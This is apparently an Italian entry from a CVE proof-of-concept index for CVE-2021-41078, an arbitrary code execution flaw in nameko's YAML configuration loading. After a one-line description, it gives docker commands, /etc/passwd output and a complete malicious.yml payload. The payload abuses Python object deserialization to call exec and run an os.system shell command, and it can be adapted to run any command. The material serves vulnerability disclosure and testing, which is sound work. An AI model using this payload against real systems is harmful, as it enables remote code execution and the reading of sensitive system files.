s-index/cve-2021-41078nameko Esecuzione di codice arbitrario dovuta alla deserializzazione YAML
nameko Esecuzione di codice arbitrario dovuta alla deserializzazione YAML
Nameko fino alla versione 2.13.0 può essere indotto a eseguire codice arbitrario durante la deserializzazione del file di configurazione.
docker build -t cve-2021-41078 .
docker run -it --rm cve-2021-41078
output di /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
-- snip --
malicious.yml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"